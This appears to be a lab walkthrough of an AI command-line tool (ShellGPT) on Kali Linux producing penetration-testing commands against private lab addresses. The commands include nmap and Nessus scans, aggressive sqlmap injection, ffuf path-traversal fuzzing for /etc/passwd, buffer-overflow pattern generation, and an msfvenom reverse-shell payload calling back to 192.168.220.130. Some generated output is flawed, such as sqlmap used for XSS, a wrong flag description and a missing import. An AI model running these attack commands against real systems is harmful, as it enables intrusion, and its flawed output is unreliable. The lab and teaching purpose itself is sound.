**└─$ /home/kali/.local/bin/sgpt --chat enumerator --shell "Use Nmap and ping sweep the**[**192.168.75.0/24**](http://192.168.75.0/24)**network and place only the IP address into the file called /home/kali/targets.txt, and run a fast but comprehensive privileged Nmap scan of the Ip's in /home/kali/targets.txt, save the result in genmap format to /home/kali/Nmap-scan-result.genmap then display the result"**

**A computer screen shot of a program

Description automatically generated**

**└─$ /home/kali/.local/bin/sgpt --chat --shell ”Create a shell script to find clickjacking vulnerability in a website and import home page of that website in html”**

**A screenshot of a computer program

Description automatically generated**

**└─$ /home/kali/.local/bin/sgpt --chat –shell “Create a shell script to find outdated versions of dependencies in a website”**

****

**│**

**──(kali㉿kali)-[~]**

**└─$ /home/kali/.local/bin/sgpt --chat bugsearch1 --shell "Using Searchsploit display exploits for webadmin"**

• webadmin is the argument that specifies the keyword or term to search for.

• There are no options specified in the command.

• The command will search for exploits related to web administration tools or software.

[E]xecute, [D]escribe, [A]bort: e

------------------------------------------------------------------------------- ---------------------------------

Exploit Title | Path

------------------------------------------------------------------------------- ---------------------------------

Alt-N MDaemon WorldClient And WebAdmin - Cross-Site Request Forgery | windows/remote/38325.txt

Alt-N WebAdmin - USER Buffer Overflow (Metasploit) | windows/remote/16776.rb

Alt-N WebAdmin 2.0.4 - USER Buffer Overflow (Metasploit) | windows/remote/1210.pm

Alt-N WebAdmin 2.0.x - 'USER' Remote Buffer Overflow (1) | windows/remote/22833.c

Alt-N WebAdmin 2.0.x - 'USER' Remote Buffer Overflow (2) | windows/remote/22834.c

Alt-N WebAdmin 2.0.x - Remote File Disclosure | cgi/remote/22542.txt

Alt-N WebAdmin 2.0.x - Remote File Viewing | cgi/remote/22541.txt

alt-n WebAdmin 3.0.2 - Multiple Vulnerabilities | cgi/webapps/25067.txt

Alt-N WebAdmin 3.3.3 - Remote Source Code Information Disclosure | windows/remote/35119.txt

Atmail WebAdmin and Webmail Control Panel - SQL Root Password Disclosure | linux/webapps/20037.txt

FloosieTek FTGatePro 1.2 - WebAdmin Interface Information Disclosure | windows/remote/23135.txt

hMAilServer 4.4.2 - 'PHPWebAdmin' File Inclusion | php/webapps/7012.txt

HP LaserJet Pro P1606dn - Webadmin Password Reset | hardware/webapps/25715.py

IBM Lotus Domino 6.5.1 - HTTP webadmin.nsf Quick Console Cross-Site Scripting | windows/remote/23837.txt

IBM Lotus Domino 6/7 - HTTP webadmin.nsf Directory Traversal | windows/remote/23836.txt

McAfee Email Gateway 6.7.1 - 'systemWebAdminConfig.do' Remote Security Bypass | windows/remote/34013.txt

MDaemon WebAdmin 2.0.x - SQL Injection | windows/webapps/10225.txt

Netsweeper WebAdmin Portal - Multiple Vulnerabilities | php/webapps/21330.txt

OpenDreamBox 2.0.0 Plugin WebAdmin - Remote Code Execution | hardware/webapps/42293.txt

Plastic SCM 10.0.16.5622 - WebAdmin Server Access | multiple/webapps/50426.txt

PSCS VPOP3 2.0 Email Server WebAdmin - Cross-Site Scripting | multiple/remote/23271.txt

SQLiteWebAdmin 0.1 - 'tpl.inc.php' Remote File Inclusion | php/webapps/2123.txt

WebAdmin - Arbitrary File Upload | php/webapps/12267.txt

WebAdministrator Lite CMS - SQL Injection | php/webapps/11579.txt

**└─$ /home/kali/.local/bin/sgpt --chat scancode --code "In Python write me a script that runs a fast ,low verbosity nmap script using the IP addresses 10.0,2.0 and also execute a nikto vulnerability scan"**

**import subprocess**

# Run nmap scan with low verbosity

nmap\_command = "nmap -v -p 1-65535 -T4 -A 10.0.2.0"

subprocess.run(nmap\_command, shell=True)

# Execute nikto vulnerability scan

nikto\_command = "nikto -h 10.0.2.0"

subprocess.run(nikto\_command, shell=True)

**└─$ /home/kali/.local/bin/sgpt --chat nessusscript --code "Generate a very basic python script using the ness6rest library to perform a nessus vulnerability scan"**

**import ness6rest**

# Create a Nessus REST client object

client = ness6rest.Scanner(url='https://localhost:8834', username='admin', password='password')

# Start a new scan

scan = client.scan\_new(targets='192.168.0.1', name='My Scan', policy\_id=1)

# Wait for the scan to complete

scan.wait\_until\_finished()

# Get the scan results

results = scan.results()

# Print the vulnerabilities found

for vulnerability in results['vulnerabilities']:

print(vulnerability['plugin\_name'], vulnerability['severity'])

──(kali㉿kali)-[/var/run]

└─**$ /home/kali/.local/bin/sgpt --chat nessusreport --code "Generate a python script that interacts with a Nessus scanner API. The script retrieves scan information and exports scan results in various formats. Improve the script's functionality and readability by organizing the code, utilizing variables for configuration settings, and enhancing file name generation. Ensure that the script handles folder creation, skips trash items, and correctly exports completed scans based on the specified file format. The scanner URL will be https://kali:8834 and we are looking to export a scan named Scan2."**

import os

import requests

# Configuration settings

scanner\_url = "https://kali:8834"

scan\_name = "Scan2"

export\_format = "csv"

# Create a folder to store the exported scan results

folder\_name = scan\_name.replace(" ", "\_")

if not os.path.exists(folder\_name):

os.makedirs(folder\_name)

# Get scan information

response = requests.get(f"{scanner\_url}/scans")

scans = response.json()["scans"]

# Find the scan with the specified name

scan\_id = None

for scan in scans:

if scan["name"] == scan\_name:

scan\_id = scan["id"]

break

if scan\_id is None:

print(f"Scan '{scan\_name}' not found.")

exit()

# Export scan results in the specified format

response = requests.get(f"{scanner\_url}/scans/{scan\_id}/export", params={"format": export\_format})

export\_job\_id = response.json()["file"]["id"]

# Wait for the export job to complete

while True:

response = requests.get(f"{scanner\_url}/scans/{scan\_id}/export/{export\_job\_id}/status")

status = response.json()["status"]

if status == "ready":

break

elif status == "error":

print("Export job failed.")

exit()

time.sleep(5)

# Download the exported scan results

response = requests.get(f"{scanner\_url}/scans/{scan\_id}/export/{export\_job\_id}/download")

file\_name = f"{scan\_name.replace(' ', '\_')}.{export\_format}"

file\_path = os.path.join(folder\_name, file\_name)

with open(file\_path, "wb") as file:

file.write(response.content)

print(f"Scan results exported to: {file\_path}")

-------------------------------------------------------------------------------------------------------------

**/home/kali/.local/bin/sgpt --chat sqlinj --shell " Create a sqlmap command that targets**[**http://192.168.220.128**](http://192.168.220.128)**on port 3000 and the /rest/products/search?q= URI. Aggressively search for sql injection points and use --dbs on the end."**

sqlmap -u "<http://192.168.220.128:3000/rest/products/search?q=>" --level 5 --risk 3 --dbs

---------------------------------------------------------------------------------------------------------------------------

**└─$ /home/kali/.local/bin/sgpt --chat xss --shell "Use Sqlmap to assess the**[**http://192.168.220.128:8899/lucky.php?name=**](http://192.168.220.128:8899/lucky.php?name=)**endpoint for reflected cross site scripting. Use Cookie value of 'h959aliqb852fqqtm0a10r5i03;security\_level=0"**

sqlmap -u "<http://192.168.220.128:8899/lucky.php?name=>" --cookie="h959aliqb852fqqtm0a10r5i03;security\_level=0" --level=3 --risk=3 --string="XSS" --technique=BE --tamper="between,randomcase"

[E]xecute, [D]escribe, [A]bort: D

The sqlmap command is used to perform SQL injection attacks on a target URL.

 • -u "<http://192.168.220.128:8899/lucky.php?name=>" specifies the target URL.

 • --cookie="h959aliqb852fqqtm0a10r5i03;security\_level=0" sets the cookie value for the request.

 • --level=3 sets the level of tests to be performed.

 • --risk=3 sets the risk level of tests to be performed.

 • --string="XSS" specifies the string to search for in the response.

 • --technique=BE sets the technique to be used for injection.

 • --tamper="between,randomcase" specifies the tampering techniques to be used.

-----------------------------------------------------------------------------------------------------------------------------

**/home/kali/.local/bin/sgpt --chat ffuf --shell "Generate a FFUF colorized script used for fuzzing a web application. Enter in single quotes '**[**http://10.0.2.7/blog-post/archives/randylogs.php**](http://10.0.2.7/blog-post/archives/randylogs.php)**' then use the /usr/share/SecLists/Discovery/Web-Content/big.txt wordlist. The FUZZ parameter to test after php should be structured as ?FUZZ=/etc/passwd. Grep on Status 200."**

ffuf -u '<http://10.0.2.7/blog-post/archives/randylogs.php?FUZZ=/etc/passwd>' -w /usr/share/SecLists/Discovery/Web-Content/big.txt -mc 200

ffuf is a command-line tool used for fuzzing web applications.

 • -u specifies the target URL to fuzz.

 • -w specifies the wordlist file to use for fuzzing.

 • -mc specifies the minimum expected HTTP status code for a valid response. In this example, ffuf will fuzz the

   URL <http://10.0.2.7/blog-post/archives/randylogs.php?FUZZ=/etc/passwd> using the wordlist file

   /usr/share/SecLists/Discovery/Web-Content/big.txt, and only consider responses with a status code of 200 or

   higher as valid.

-----------------------------------------------------------------------------------------------------------------------------

**/home/kali/.local/bin/sgpt --chat fupload --shell "Use base64 to generate random characters. Use a second command to write 200000 characters to a file called bigfile.pdf and wrap these commands in (). Send stderr to null."**

(base64 /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 200000 > bigfile.pdf) 2>/dev/null

[E]xecute, [D]escribe, [A]bort: D

This command generates a random string of characters, encodes it in base64, filters out any characters that are

not alphanumeric, takes the first 200,000 characters, and saves them to a file named "bigfile.pdf". Any error

messages are discarded.

---------------------------------------------------------------------------------------------------------------------------

**┌──(kali㉿kali)-[~]**

**└─$ /home/kali/.local/bin/sgpt --chat boverflow --shell "Use Metasploits pattern create function to generate 360 random characters to include in a payload."**

msf-pattern\_create -l 360

[E]xecute, [D]escribe, [A]bort: E

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9

----------------------------------------------------------------------------------------------------------------------

**└─$ /home/kali/.local/bin/sgpt --chat boverflow --shell "Use the GNU Debugger to pass the result of the previous command and its payload as an argument to the ./movie\_search application function. Include a blank set of quotes for the payload data string."**

gdb -ex 'run $(msf-pattern\_create -l 360)' -ex 'set args ""' -ex 'quit' ./movie\_search

------------------------------------------------------------------------------------------------------------------

**/home/kali/.local/bin/sgpt --chat boverflow --shell "Use msfvenom to create a buffer overflow payload for a linux x86 platform that creates a reverse shell back to 192.168.220.130 on port 5555, avoiding \x00 characters, and encoding for opt\_sub. Write the file to buffers.txt for encoding later."**

msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=192.168.220.130 LPORT=5555 -b '\x00' -e x86/opt\_sub -f raw -o buffers.txt